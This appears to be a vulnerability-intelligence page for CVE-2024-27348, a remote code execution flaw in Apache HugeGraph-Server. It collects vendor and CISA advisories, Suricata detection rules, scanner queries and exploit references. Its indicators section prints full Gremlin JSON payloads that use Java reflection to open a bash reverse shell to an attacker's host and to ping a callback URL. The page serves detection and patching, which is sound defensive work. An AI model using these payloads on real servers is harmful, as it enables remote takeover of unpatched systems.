CVE-2024-27348
published 2024-04-22CVE-2024-27348: RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11…
PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2024-10-09
Exploited in the wild
EPSS
99.21%
99.9th percentile
RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11
Users are recommended to upgrade to version 1.3.0 with Java11 & enable the Auth system, which fixes the issue.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | hugegraph | >= 1.0.0 < 1.3.0 | 1.3.0 |
| apache_software_foundation | apache_hugegraph-server | >= 1.0.0 < 1.3.0 | 1.3.0 |
Detection & IOCsextracted from sources · hover to see the quote
command{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"VICARIUS\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"bash\", \"-c\", \"bash -i>&/dev/tcp/\"+lhost+\"/\"+lport+\"\", \"0>&1\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}↗
command{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
sigma
shodan-query: title:"HugeGraph"
sigma
fofa-query: title="HugeGraph"
- →Exploit targets the Gremlin graph traversal language API endpoint via HTTP POST to /gremlin with a JSON body containing 'language: gremlin-groovy' and Java reflection-based ProcessBuilder payload to achieve RCE. ↗
- →Detect POST requests to /gremlin containing 'java.lang.ProcessBuilder' and 'gremlin-groovy' in the request body — this is the core exploit pattern used to spawn OS processes via Java reflection. ↗
- →The exploit omits the Content-Type header after preparation ('del prepped.headers["Content-Type"]'), which may result in anomalous HTTP requests to /gremlin lacking a Content-Type header despite carrying a JSON body. ↗
- →Check Point IPS signature name for this CVE can be used to validate IPS coverage: 'Apache HugeGraph Server Remote Code Execution (CVE-2024-27348)'. ↗
- →DNS interaction (OOB callback) is a reliable detection signal for exploitation attempts; the Nuclei template confirms exploitation by observing a DNS ping-back from the target to an interactsh URL.
- →Response body containing 'inputStream":' in combination with HTTP 200 and application/json Content-Type on the /gremlin endpoint is a positive exploitation indicator per the Nuclei template. ↗
- →Metasploit module exists for this CVE targeting Linux HTTP services: modules/exploits/linux/http/apache_hugegraph_gremlin_rce.rb — presence of this module in use indicates active exploitation attempts. ↗
- ·Enabling the Auth system is required alongside upgrading to 1.3.0 — upgrading alone without enabling authentication does not fully remediate the vulnerability. ↗
- ·The 'Whitelist-IP/port' function should be enabled to further restrict RESTful-API execution as an additional mitigation layer. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Apache HugeGraph-Server: Command execution in gremlin
ghsa·2024-04-22
CVE-2024-27348 [CRITICAL] CWE-284 Apache HugeGraph-Server: Command execution in gremlin
Apache HugeGraph-Server: Command execution in gremlin
RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11
Users are recommended to upgrade to version 1.3.0 with Java11 & enable the Auth system, which fixes the issue.
OSV
Apache HugeGraph-Server: Command execution in gremlin
osv·2024-04-22
CVE-2024-27348 [CRITICAL] Apache HugeGraph-Server: Command execution in gremlin
Apache HugeGraph-Server: Command execution in gremlin
RCE-Remote Command Execution vulnerability in Apache HugeGraph-Server.This issue affects Apache HugeGraph-Server: from 1.0.0 before 1.3.0 in Java8 & Java11
Users are recommended to upgrade to version 1.3.0 with Java11 & enable the Auth system, which fixes the issue.
VulnCheck
Apache HugeGraph-Server Improper Access Control Vulnerability
vulncheck·2024·CVSS 9.8
CVE-2024-27348 [CRITICAL] CWE-284 Apache HugeGraph-Server Improper Access Control Vulnerability
Apache HugeGraph-Server Improper Access Control Vulnerability
Apache HugeGraph-Server contains an improper access control vulnerability that could allow a remote attacker to execute arbitrary code.
Affected: Apache HugeGraph-Server
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07-15&host_type=src&vulnerability=cve-2024-27348; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07-16&host_type=src&vulnerability=cve-2024-27348; https://x.com/Shadowserver/status/1813117748005802470; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-07-17&host
CISA
Apache HugeGraph-Server Improper Access Control Vulnerability
cisa·2024-09-18·CVSS 9.8
CVE-2024-27348 [CRITICAL] CWE-284 Apache HugeGraph-Server Improper Access Control Vulnerability
Vulnerability: Apache HugeGraph-Server Improper Access Control Vulnerability
Affected: Apache HugeGraph-Server
Apache HugeGraph-Server contains an improper access control vulnerability that could allow a remote attacker to execute arbitrary code.
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability affects a common open-source component, third-party library, or a protocol used by different products. Please check with specific vendors for information on patching status. For more information, please see: https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9 ; https://nvd.nist.gov/vuln/detail/CVE-2024-27348
Remediation Due Date: 2024-10-09
Suricata
ET WEB_SPECIFIC_APPS Apache HugeGraph <1.2.0 Unauthenticated Remote Code Execution (CVE-2024-27348)
suricata·2025-04-10·CVSS 9.8
CVE-2024-27348 [CRITICAL] ET WEB_SPECIFIC_APPS Apache HugeGraph <1.2.0 Unauthenticated Remote Code Execution (CVE-2024-27348)
ET WEB_SPECIFIC_APPS Apache HugeGraph $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache HugeGraph <1.2.0 Unauthenticated Remote Code Execution (CVE-2024-27348)"; flow:established,to_server; http.method; content:"POST"; http.uri; bsize:8; content:"/gremlin"; fast_pattern; http.content_type; content:"application/json"; http.request_body; content:"java.lang.reflect"; content:"java.lang.ProcessBuilder"; reference:url,github.com/yealvarez/CVE/blob/main/CVE-202427348/; reference:cve,2024-27348; classtype:web-application-attack; sid:2061443; rev:1; metadata:affected_product Apache_HugeGraph, attack_target Server, created_at 2025_04_10, cve CVE_2024_27348, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_04_10, mitre_tactic_id TA0001,
Suricata
ET WEB_SPECIFIC_APPS Apache HugeGraph Gremlin SecurityManager Reflection Filter Bypass (CVE-2024-27348)
suricata·2024-09-30·CVSS 9.8
CVE-2024-27348 [CRITICAL] ET WEB_SPECIFIC_APPS Apache HugeGraph Gremlin SecurityManager Reflection Filter Bypass (CVE-2024-27348)
ET WEB_SPECIFIC_APPS Apache HugeGraph Gremlin SecurityManager Reflection Filter Bypass (CVE-2024-27348)
Rule: alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Apache HugeGraph Gremlin SecurityManager Reflection Filter Bypass (CVE-2024-27348)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/gremlin"; startswith; fast_pattern; http.request_body; content:"|22|gremlin|22 3a|"; content:"java|2e|lang|2e|reflect"; content:"|22|language|22 3a 20 22|gremlin-groovy|22|"; reference:url,www.indusface.com/blog/cve-2024-27348-rce-vulnerability/; reference:cve,2024-27348; classtype:web-application-attack; sid:2056323; rev:1; metadata:affected_product Apache_HugeGraph, attack_target Server, tls_state TLSDecrypt, created_at 2024_09_30, cve CVE_2024_27348, deploy
Exploit-DB
Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)
exploitdb·2025-04-09
CVE-2024-27348 Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)
Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)
---
# Exploit Title: Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://hugegraph.apache.org/docs/download/download/
# Version: Apache HugeGraph 1.0.0 - 1.2.0
# CVE : CVE-2024–27348
from requests import Request, Session
import sys
import json
def title():
print('''
______ _______ ____ ___ ____ _ _ ____ _____ _____ _ _ ___
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \___ |___ /| || | ( _ )
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | / / |_ \| || |_ / _ \
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ / / ___) |__ _| (_) |
\____| \_/ |_____| |_____|\___/_____| |_| |_____/_/ |____/ |_| \___/
[+] Reverse shell
Author: Yesith Alvarez
G
Nuclei
Apache HugeGraph-Server - Remote Command Execution
nuclei·CVSS 9.8
CVE-2024-27348 [CRITICAL] Apache HugeGraph-Server - Remote Command Execution
Apache HugeGraph-Server - Remote Command Execution
Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.
Template:
id: CVE-2024-27348
info:
name: Apache HugeGraph-Server - Remote Command Execution
author: DhiyaneshDK
severity: high
description: |
Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerab
Metasploit
Apache HugeGraph Gremlin RCE
metasploit·CVSS 9.8
CVE-2024-27348 [CRITICAL] Apache HugeGraph Gremlin RCE
Apache HugeGraph Gremlin RCE
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve RCE through Gremlin, resulting in complete control over the server
Bleepingcomputer
CISA warns of actively exploited Apache HugeGraph-Server bug
blogs_bleepingcomputer·2024-09-19·CVSS 8.8
CVE-2024-27348 [HIGH] CISA warns of actively exploited Apache HugeGraph-Server bug
## CISA warns of actively exploited Apache HugeGraph-Server bug
## Bill Toulas
The U.S. Cybersecurity and Infrastructure Agency (CISA) has added five flaws to its Known Exploited Vulnerabilities (KEV) catalog, among which is a remote code execution (RCE) flaw impacting Apache HugeGraph-Server.
The flaw, tracked as CVE-2024-27348 and rated critical (CVSS v3.1 score: 9.8), is an improper access control vulnerability that impacts HugeGraph-Server versions from 1.0.0 and up to, but not including 1.3.0.
Apache fixed the vulnerability on April 22, 2024, with the release of version 1.3.0. Apart from upgrading to the latest version, users were also recommended to use Java 11 and enable the Auth system .
Also, enabling the "Whitelist-IP/port" function was proposed to improve the security of th
Checkpoint
22nd July – Threat Intelligence Report
blogs_checkpoint·2024-07-22
CVE-2024-27348 22nd July – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 22nd July – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 22nd July, please download our Threat Intelligence Bulletin .
TOP ATTACKS AND BREACHES
American Bassett Furniture Industries has been a victim of a ransomware attack that resulted in the encryption of data files and the shutdown of its manufacturing facilities. The attack has significantly disrupted the company’s operations, impacting its ability to fulfill orders despite keeping retail stores and its e-commerce
Greynoiseio
NoiseLetter July 2024
blogs_greynoiseio
NoiseLetter July 2024
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
http://www.openwall.com/lists/oss-security/2024/04/22/3https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authenticationhttps://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9http://www.openwall.com/lists/oss-security/2024/04/22/3https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authenticationhttps://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-apache-hugegraph-server-cve-2024-27348https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-27348
2024-04-22
Published
2024-09-18
Added to CISA KEV
Exploited in the wild